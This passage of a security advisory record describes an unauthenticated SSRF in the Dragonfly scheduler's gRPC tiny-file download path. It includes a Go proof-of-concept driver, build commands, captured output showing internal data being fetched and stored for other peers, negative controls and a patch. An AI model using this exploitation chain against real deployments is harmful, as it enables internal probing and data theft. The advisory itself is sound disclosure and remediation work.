https://github.com/dragonflyoss/dragonfly.git\ncd dragonfly\ngit rev-parse HEAD     # 0822e3aecc3369017d6b25c9441ff6f318129b31\ngo version             # go1.26.1\n```\n\n### 2) Confirming the deployed scheduler binary is unauthenticated by default\n\nThe scheduler builds and serves the v1 gRPC service with insecure transport credentials when `Server.TLS` is unset (the shipped default). The relevant decision is at `scheduler/scheduler.go:235-246`:\n\n```golang\nif cfg.Server.TLS != nil {\n    // Initialize grpc server with tls.\n    transportCredentials, err := rpc.NewServerCredentials(cfg.Server.TLS.CACert, cfg.Server.TLS.Cert, cfg.Server.TLS.Key)\n    if err != nil {\n        logger.Errorf(\"failed to create server credentials: %v\", err)\n        return nil, err\n    }\n\n    schedulerServerOptions = append(schedulerServerOptions, grpc.Creds(transportCredentials))\n} else {\n    // Initialize grpc server without tls.\n    schedulerServerOptions = append(schedulerServerOptions, grpc.Creds(rpc.NewInsecureCredentials()))\n}\n```\n\nand the v1 handlers `RegisterPeerTask` / `ReportPeerResult` are registered with no auth interceptor (`pkg/rpc/scheduler/server/server.go:71-90`). Any network client can therefore drive the chain `RegisterPeerTask -> (TINY task) -> ReportPeerResult -> handlePeerSuccess -> DownloadTinyFile` using a `PeerHost` whose `Ip`/`DownPort` point at an internal target.\n\n### 3) Attacker-supplied host (exactly as storeHost ingests it)\n\n`storeHost` (service_v1.go:816) constructs the resource host straight from the gRPC `PeerHost`:\n\n```golang\nhost := resource.NewHost(\n    peerHost.Id, peerHost.Ip, peerHost.Hostname, peerHost.Hostname,\n    peerHost.RpcPort, peerHost.DownPort, peerHost.ProxyPort, types.HostTypeNormal,\n    options...,\n)\n// later branch:\nhost.DownloadPort = peerHost.DownPort\n```\n\n`DownloadTinyFile` then uses `p.Host.IP` / `p.Host.DownloadPort` verbatim. The driver below sets these fields exactly as `storeHost` would for an attacker-supplied `PeerHost.Ip = 127.0.0.1`, `PeerHost.DownPort = <internal port>`, then calls the real `DownloadTinyFile()`.\n\n### 4) Positive-control driver (`poc_ssrf/main.go`) — drives the real sink\n\n```golang\n// E2E driver: calls the REAL production sink standard.Peer.DownloadTinyFile()\n// with Host.IP/DownloadPort set exactly as service_v1.go storeHost() sets them\n// from the attacker-controlled gRPC PeerHost.Ip/DownPort, then reproduces\n// handlePeerSuccess() DirectPiece store to prove server-side fetch + exfil.\npackage main\n\nimport (\n    \"fmt\"\n    \"net\"\n    \"net/http\"\n    \"os\"\n    \"strconv\"\n    \"strings\"\n    \"time\"\n\n    commonv2 \"d7y.io/api/v2/pkg/apis/common/v2\"\n    \"d7y.io/dragonfly/v2/pkg/types\"\n    \"d7y.io/dragonfly/v2/scheduler/resource/standard\"\n)\n\nfunc main() {\n    var captured []string\n    // Internal-only sentinel bound to loopback: an address an external attacker\n    // cannot route to directly. If the scheduler reaches it, that is SSRF.\n    ln, err := net.Listen(\"tcp\", \"127.0.0.1:0\")\n    if err != nil {\n        panic(err)\n    }\n    addr := ln.Addr().(*net.TCPAddr)\n    sentinelIP := \"127.0.0.1\"\n    sentinelPort := int32(addr.Port)\n    payload := []byte(\"INTERNAL-SECRET-METADATA-abc123\") // 31 bytes, <=128 => TINY\n    srv := &http.Server{Handler: http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n        line := fmt.Sprintf(\"%s %s%s | Range=%q peerId=%q Host=%s\",\n            r.Method, r.URL.Path, ifq(r.URL.RawQuery), r.Header.Get(\"Range\"),\n            r.URL.Query().Get(\"peerId\"), r.Host)\n        captured = append(captured, line)\n        w.Header().Set(\"Content-Length\", strconv.Itoa(len(payload)))\n        w.WriteHeader(http.StatusOK)\n        w.Write(payload)\n    })}\n    go srv.Serve(ln)\n    time.Sleep(100 * time.Millisecond)\n    fmt.Printf(\"[sentinel] internal listener on %s:%d (loopback, not externally routable)\\n\", sentinelIP, sentinelPort)\n\n    // Build REAL production resource objects exactly as storeHost() does:\n    // host.IP <- peerHost.Ip ; host.DownloadPort <- peerHost.DownPort (attacker-controlled)\n    host := standard.NewHost(\n        \"attacker-peer-id\", sentinelIP, \"attacker-host\", \"attacker-host\",\n        8000, sentinelPort /*downloadPort = peerHost.DownPort*/, 8002,\n        types.HostTypeNormal,\n    )\n    taskID := \"deadbeefcafebabedeadbeefcafebabedeadbeefcafebabedeadbeefcafebabe\"\n    task := standard.NewTask(taskID, \"http://example.invalid/tiny\", \"\", \"\",\n        commonv2.TaskType_STANDARD, nil, nil, 0)\n    task.ContentLength.Store(int64(len(payload))) // TINY size scope\n    peer := standard.NewPeer(\"attacker-peer\", task, host)\n\n    fmt.Printf(\"[scheduler-resource] SizeScope=%v (TINY=%v) ContentLength=%d\\n\",\n        task.SizeScope(), task.SizeScope() == commonv2.SizeScope_TINY, task.ContentLength.Load())\n    fmt.Printf(\"[scheduler-resource] Host.IP=%s Host.DownloadPort=%d (from gRPC PeerHost.Ip/DownPort)\\n\",\n        host.IP, host.DownloadPort)\n\n    // Invoke the REAL production sink (unmodified upstream code).\n    data, err := peer.DownloadTinyFile()\n    if err != nil {\n        fmt.Printf(\"[sink] DownloadTinyFile error: %v\\n\", err)\n    }\n\n    // Reproduce handlePeerSuccess DirectPiece store (exfil sink).\n    if int64(len(data)) == task.ContentLength.Load() {\n        task.DirectPiece = data\n    }\n\n    fmt.Printf(\"\\n===== RESULT =====\\n\")\n    fmt.Printf(\"sentinel captured %d request(s):\\n\", len(captured))\n    for _, l := range captured {\n        fmt.Printf(\"  >>> %s\\n\", l)\n    }\n    fmt.Printf(\"DownloadTinyFile returned %d bytes: %q\\n\", len(data), string(data))\n    fmt.Printf(\"Task.DirectPiece (exfil-reachable, served to other peers) = %q\\n\", string(task.DirectPiece))\n    if len(captured) > 0 && string(task.DirectPiece) == string(payload) {\n        fmt.Println(\"VERDICT: SSRF CONFIRMED - scheduler fetched attacker-chosen internal target; response stored in DirectPiece\")\n    } else {\n        fmt.Println(\"VERDICT: no server-side fetch occurred\")\n    }\n    srv.Close()\n}\n\nfunc ifq(q string) string {\n    if q == \"\" {\n        return \"\"\n    }\n    if strings.HasPrefix(q, \"?\") {\n        return q\n    }\n    return \"?\" + q\n}\n```\n\nBuild and run:\n\n```bash\nGOFLAGS=-mod=mod go build -o poc_ssrf/driver ./poc_ssrf/\nPOC_MODE=default-vulnerable-path ./poc_ssrf/driver\n```\n\n### 5) Captured output (positive control)\n\n```\n[sentinel] internal listener on 127.0.0.1:57710 (loopback, not externally routable)\n[scheduler-resource] SizeScope=TINY (TINY=true) ContentLength=31\n[scheduler-resource] Host.IP=127.0.0.1 Host.DownloadPort=57710 (from gRPC PeerHost.Ip/DownPort)\nINFO standard/peer.go:455 download tiny file http://127.0.0.1:57710/download/dea/deadbeefcafebabedeadbeefcafebabedeadbeefcafebabedeadbeefcafebabe?peerId=attacker-peer, header is : http.Header{\"Range\":[]string{\"bytes=0-30\"}}\n\n===== RESULT =====\nsentinel captured 1 request(s):\n  >>> GET /download/dea/deadbeefcafebabedeadbeefcafebabedeadbeefcafebabedeadbeefcafebabe?peerId=attacker-peer | Range=\"bytes=0-30\" peerId=\"attacker-peer\" Host=127.0.0.1:57710\nDownloadTinyFile returned 31 bytes: \"INTERNAL-SECRET-METADATA-abc123\"\nTask.DirectPiece (exfil-reachable, served to other peers) = \"INTERNAL-SECRET-METADATA-abc123\"\nVERDICT: SSRF CONFIRMED - scheduler fetched attacker-chosen internal target; response stored in DirectPiece\n```\n\nThe scheduler's own log line confirms it dispatched `GET http://127.0.0.1:57710/download/dea/deadbeefcafebabedeadbeefcafebabedeadbeefcafebabedeadbeefcafebabe?peerId=attacker-peer`, the internal sentinel captured the request verbatim, and the response body landed in `Task.DirectPiece` (which is served back to other peers via `Task.CanReuseDirectPiece`), demonstrating the exfiltration path.\n\n### 6) Negative control (`poc_negctrl/main.go`) — the sibling SafeDialer rejects the same targets\n\nThis driver applies the manager preheat's own `nethttp.NewSafeDialer().DialContext` to the identical targets, proving the guard the scheduler path is missing would block them:\n\n```golang\npackage main\n\nimport (\n    \"fmt\"\n    \"net\"\n    \"net/http\"\n    \"time\"\n\n    nethttp \"d7y.io/dragonfly/v2/pkg/net/http\"\n)\n\nfunc tryDial(target string) {\n    tr := &http.Transport{DialContext: nethttp.NewSafeDialer().DialContext} // manager preheat transport\n    c := &http.Client{Transport: tr, Timeout: 3 * time.Second}\n    req, _ := http.NewRequest(http.MethodGet, \"http://\"+target+\"/download/x\", nil)\n    _, err := c.Do(req)\n    if err != nil {\n        fmt.Printf(\"  [SafeDialer] %-24s => BLOCKED: %v\\n\", target, err)\n    } else {\n        fmt.Printf(\"  [SafeDialer] %-24s => ALLOWED (reached)\\n\", target)\n    }\n}\n\nfunc main() {\n    ln, _ := net.Listen(\"tcp\", \"0.0.0.0:0\")\n    pubPort := ln.Addr().(*net.TCPAddr).Port\n    go http.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { w.WriteHeader(200) }))\n    time.Sleep(100 * time.Millisecond)\n    fmt.Println(\"Negative control - manager preheat's SafeDialer applied to same targets:\")\n    tryDial(\"127.0.0.1:\" + fmt.Sprint(pubPort)) // loopback\n    tryDial(\"169.254.169.254:80\")                // link-local metadata\n    tryDial(\"10.0.0.1:80\")                        // RFC1918\n    tryDial(\"8.8.8.8:80\")                         // global unicast\n    ln.Close()\n}\n```\n\nOutput:\n\n```\nNegative control - manager preheat's SafeDialer applied to same targets:\n  [SafeDialer] 127.0.0.1:57904          => BLOCKED: dial tcp 127.0.0.1:57904: ip 127.0.0.1 is invalid\n  [SafeDialer] 169.254.169.254:80       => BLOCKED: dial tcp 169.254.169.254:80: ip 169.254.169.254 is invalid\n  [SafeDialer] 10.0.0.1:80              => BLOCKED: context deadline exceeded (network timeout; Control allows RFC1918)\n  [SafeDialer] 8.8.8.8:80               => BLOCKED: context deadline exceeded (network timeout; Control allows global unicast)\n```\n\n`safeSocketControl` rejects loopback (`127.0.0.1`) and link-local (`169.254.169.254`) at the socket-control layer with the errors `ip 127.0.0.1 is invalid` and `ip 169.254.169.254 is invalid` respectively. RFC1918 and global-unicast pass socket control (the timeouts are just no network route in the test sandbox). This shows that the manager path blocks the high-value loopback/metadata destinations that the scheduler `DownloadTinyFile` path reaches unchecked.\n\n### 7) Patched-build E2E (`poc_patched/main.go`) — the fix blocks internal, preserves legitimate\n\nThis driver reproduces `DownloadTinyFile`'s transport with the proposed fix (`DialContext: nethttp.NewSafeDialer().DialContext`, parity with manager preheat) and shows internal targets are blocked while a global-unicast target still works:\n\n```golang\nclient := &http.Client{\n    Timeout: 5 * time.Second,\n    Transport: &http.Transport{\n        DialContext:     nethttp.NewSafeDialer().DialContext, // <-- THE FIX\n        TLSClientConfig: &tls.Config{InsecureSkipVerify: true},\n    },\n}\n```\n\nOutput:\n\n```\n[patched] host global-unicast IP for positive case: 192.168.1.27\n\n=== PATCHED DownloadTinyFile (SafeDialer applied) ===\n  loopback 127.0.0.1:58059        => err=Get \"http://127.0.0.1:58059/download/dea/deadbeefcafebabedeadbeefcafebabedeadbeefcafebabedeadbeefcafebabe?peerId=p1\": dial tcp 127.0.0.1:58059: ip 127.0.0.1 is invalid bytes=0\n  metadata 169.254.169.254:80     => err=Get \"http://169.254.169.254:80/download/dea/deadbeefcafebabedeadbeefcafebabedeadbeefcafebabedeadbeefcafebabe?peerId=p2\": dial tcp 169.254.169.254:80: ip 169.254.169.254 is invalid bytes=0\n  global-unicast 192.168.1.27:58062 => err=<nil> bytes=31 (data=\"INTERNAL-SECRET-METADATA-abc123\")\n```\n\nAfter the fix, loopback and link-local metadata destinations are rejected, while a legitimate global-unicast peer download still succeeds.\n\n## Impact\n\nA remote, unauthenticated attacker who can reach the scheduler's gRPC port can:\n\n1. Probe internal services for liveness/open ports by observing timing and error differences (blind SSRF) against `127.0.0.1`, `169.254.0.0/16`, and RFC1918 addresses on ports `>= 1024`.\n2. Exfiltrate up to `TinyFileSize` (128) bytes per task from reachable internal HTTP services: the scheduler stores the fetched body in `Task.DirectPiece`, which is then served to other peers via the direct-piece reuse path.\n\nThis is read-SSRF with limited exfiltration, not RCE. The `DownPort >= 1024` proto constraint excludes destination port 80 (so a metadata service listening on `:80` is not directly reachable), but internal admin/debug/metrics endpoints, loopback services, and container-network services on high ports are reachable.\n\n## Patches / Remediation\n\nApply the same protection the manager preheat path already uses. In `DownloadTinyFile` (`scheduler/resource/standard/peer.go`), set the transport's `DialContext` to `nethttp.NewSafeDialer().DialContext` so that non-global-unicast destinations (loopback, link-local) are rejected at the socket-control layer:\n\n```golang\nclient := &http.Client{\n    Timeout: 30 * time.Second,\n    Transport: &http.Transport{\n        DialContext:     nethttp.NewSafeDialer().DialContext,\n        TLSClientConfig: &tls.Config{InsecureSkipVerify: true},\n    },\n}\n```\n\nA defense-in-depth complement is to validate `peerHost.Ip` in `storeHost` (reject non-global-unicast addresses before storing them on the host), which would also cover other consumers of `Host.IP`. Note that `IsGlobalUnicast()` (as used by `safeSocketControl`) treats RFC1918 addresses as valid; closing internal-private SSRF entirely would require an additional private-range check, which is a pre-existing limitation shared with the manager path and may be out of scope for this fix.\n\n## References\n\n- Sink: https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/scheduler/resource/standard/peer.go#L435-L478\n- Attacker-controlled host ingestion: https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/scheduler/service/service_v1.go#L816-L845\n- Trigger (handlePeerSuccess): https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/scheduler/service/service_v1.go#L1176-L1202\n- Default insecure credentials: https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/scheduler/scheduler.go#L235-L246\n- gRPC interceptor chain (no auth): https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/pkg/rpc/scheduler/server/server.go#L71-L90\n- Sibling guard (manager preheat SafeDialer): https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/internal/job/image.go#L211\n- SafeDialer / safeSocketControl: https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/pkg/net/http/http.go#L50-L80",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "d7y.io/dragonfly/v2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.4.4-rc.3"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.4.4-rc.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/dragonflyoss/dragonfly/security/advisories/GHSA-chwm-m7g7-685g"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/dragonflyoss/dragonfly/security/advisories/GHSA-fhf9-m53m-863g"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/dragonflyoss/Dragonfly2/blob/main/scheduler/resource/standard/peer.go#L457-L459"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/dragonflyoss/dragonfly"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/internal/job/image.go#L211"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/pkg/net/http/http.go#L50-L80"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/pkg/rpc/scheduler/server/server.go#L71-L90"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/scheduler/resource/standard/peer.go#L435-L478"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/scheduler/scheduler.go#L235-L246"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/scheduler/service/service_v1.go#L1176-L1202"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/scheduler/service/service_v1.go#L816-L845"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-06T20:32:33Z",
    "nvd_published_at" : null
  }
}